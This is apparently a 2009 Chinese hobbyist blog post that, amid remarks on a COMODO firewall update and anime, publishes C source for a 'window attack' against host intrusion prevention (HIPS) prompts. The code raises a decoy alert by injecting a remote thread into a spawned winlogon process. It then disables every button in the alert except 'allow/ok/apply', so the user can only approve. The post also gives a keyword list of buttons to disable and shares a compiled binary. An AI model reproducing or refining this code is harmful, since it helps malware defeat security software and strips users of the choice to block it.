COMODO 3.9.76924.507 终于支持中文了

NEW! Multilingual Support: CIS now supports other languages 另外，不知道是从哪个版本开始，不拦截CreateProcess非可执行扩展名文件的BUG也被消除了。我的确是对COMODO越来越有信心了！
不过，比较反感的就是，体积是一个版本比一个版本大(40+M→70+M)，那些AV病毒库对我来说是个累赘的说...

中文的主界面~

在说明文档里翻到了官方提供的中文名称：科摩多...

比较囧。。。

------------------怨念的分割线------------------

他喵的blogger又被WFG(←)给封锁了，害的我小更新一下还得开U94...

God damn it...

从一开始就白忙活了 T_T (window attack) ...

代码还是发出来好了（对于细心的人来说，这些代码并不是一点用也没有的）...


我从一开始就白忙活了，原以为已经很周全了的，可是被一个Esc全给我阻止了 T_T


当然，如果你和我一样是个COMODO用户的话，遇到这个代码也就只能认命了~


由于内心刚刚经历了如下过程，现在我得修养生息去了...

Heuristic manual HIPS window attack (defective)

#define _WIN32_WINNT 0x0501

#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>

#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")

#pragma comment(linker, "/SECTION:.wye,ERW /MERGE:.data=.wye /MERGE:.text=.wye /MERGE:.rdata=.wye" )

#define NUM_OF_WHITE_LIST_WORDS ((int)(sizeof WhiteList /sizeof WhiteList[0]))


struct
{
    char * Word;
}

WhiteList[]=
{
    "允许","allow","确定","ok","apply"
};


//To block it , press 'Esc' on the alarm window
DWORD WINAPI Feint(LPVOID lpParameter)
{
    STARTUPINFO StartupInfo;
    PROCESS_INFORMATION ProcessInfo;
    ZeroMemory(&StartupInfo,sizeof(StartupInfo));
    StartupInfo.cb = sizeof(STARTUPINFO);
   
    CreateProcess(0,"winlogon",0,0,0,CREATE_SUSPENDED,0,0,&StartupInfo,&ProcessInfo);
    CloseHandle(
        CreateRemoteThread(ProcessInfo.hProcess,0,0,(LPTHREAD_START_ROUTINE)
        GetProcAddress(LoadLibrary("kernel32.dll"), "ExitProcess"),0,0,0));
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    return 1;
}

BOOL CALLBACK EnumWindProc(HWND hWnd, LPARAM HIPS_PID)
{
    DWORD WPID;
    GetWindowThreadProcessId(hWnd,&WPID);
    if (WPID==HIPS_PID) //For EnumWindows
    {
        //0x19 //SetParent
        EnumChildWindows(hWnd,EnumWindProc,WPID+1);
    }
    else if (WPID+1==HIPS_PID && IsWindowEnabled(hWnd)) //For EnumChildWindows
    {
        char Title[1204];
        int n=0;
        GetWindowText(hWnd,Title,1024);
        strlwr(Title);
        for (n;n<NUM_OF_WHITE_LIST_WORDS;n++)
        {
            if (strstr(Title,WhiteList[n].Word))
            {
                break;
            }
        }
        if (n==NUM_OF_WHITE_LIST_WORDS)
        {
            //To destory it,SetParent
            EnableWindow(hWnd,FALSE);
        }                    
    }

    return TRUE;
}

void main()
{
    printf("Heuristic manual HIPS window attack (defective)\n"
           "Presented by wye-MIA kid C!\n"
           "http://wye-ANGer.blogspot.com\n");
    char Title[32] = "No manual HIPS detected - -";
    SetConsoleTitle(Title);
    HANDLE hMajor=CreateThread(NULL,NULL,Feint,NULL,NULL,NULL);
    DWORD hPID,pPID;
    HWND hHIPS=GetConsoleWindow()
        ,hCur=hHIPS;

    //Get parent process ID

    HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 pBuffer={0};
    pBuffer.dwSize=sizeof(PROCESSENTRY32);

    if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Process32First(SnapShotHandle,&pBuffer))
    {
        while (Process32Next(SnapShotHandle,&pBuffer))
        {
            if (pBuffer.th32ProcessID==GetCurrentProcessId())
            {
                pPID=pBuffer.th32ParentProcessID;
                hPID=pPID;
                break;
            }
        }
    }
    while(WaitForSingleObject(hMajor,333)==WAIT_TIMEOUT)
    {
        //To protect major from activity analysis, return

        while(hHIPS==hCur||hPID==pPID||!hHIPS)
        {
            hHIPS=GetForegroundWindow();
            GetWindowThreadProcessId(hHIPS,&hPID);
            Sleep(333);
        }
        sprintf(Title,"Manual HIPS detected~ PID:%d",hPID);
       
        SetConsoleTitle(Title);
        EnumWindows(EnumWindProc,hPID);
    }

    Sleep(6000);
    return ;
}

低级启发式Window Attack

虽然我有说直接放代码来着，可是等到真正完成的时候却有点不想放...

反正这也是人之常情嘛~

我就还是先发bin好啦~



曾经使用过的黑名单

WordsToAttack[]=

{

"规则","rule","许可","polic","阻止","block","结束","kill","end"

,"terminate","选项","option","设置","setting","配置","config",

"profile","模式","mode","关闭","close","退出","exit","取消",

"cancel","作为","treat"," as","隔离","isolate"

}



佯攻代码如下:

CreateProcess(0,"winlogon",0,0,0,CREATE_SUSPENDED,0,0,&StartupInfo,&ProcessInfo);

CloseHandle(

CreateRemoteThread(ProcessInfo.hProcess,0,0,(LPTHREAD_START_ROUTINE)

GetProcAddress(LoadLibrary("kernel32.dll"), "ExitProcess"),0,0,0));







WindowAttack.7z（通行证:wye）



2009-3-22 第一次更新

暂时先不发代码果然是正确的决定呢~



更新内容简述一下~

1.降低代码攻击性，解决了SetParent法造成的COMODO出错退出的问题

2.增加了对手动HIPS的检测结果的显示



这回应该就没什么问题了吧~了吧~



2009-3-22 夜

代码更新，将黑名单法改为白名单法

问题越来越简单化了~

之前的一些小聪明也越来越没用了 - -

代码也越来越和平化、弱智化了...........

...

...

哎~

既然问题都变得如此好解决了，那我就吧代码稍微整理一下贴出来好了。

切，真不爽！

-----------宅人的分割线------------

Lucky Star追完了，彻底被 柊つかさ 给治愈了~



再度展开追逐~

食灵-零

低级启发式逆推 HIPS (待续)

实验终止，发现之前的思路存在极大的错误(把HIPS与用户交互的进程搞挂了，后台的服务进程还是在发挥着作用)。

新的思路已经诞生，但由于最近从微软手里搜刮到了一个导出了4个非常非常非常友爱的函数的DLL...

我已经没有心情与精力再来针对新的思路搞太多的测试了。过一段时间后直接放代码...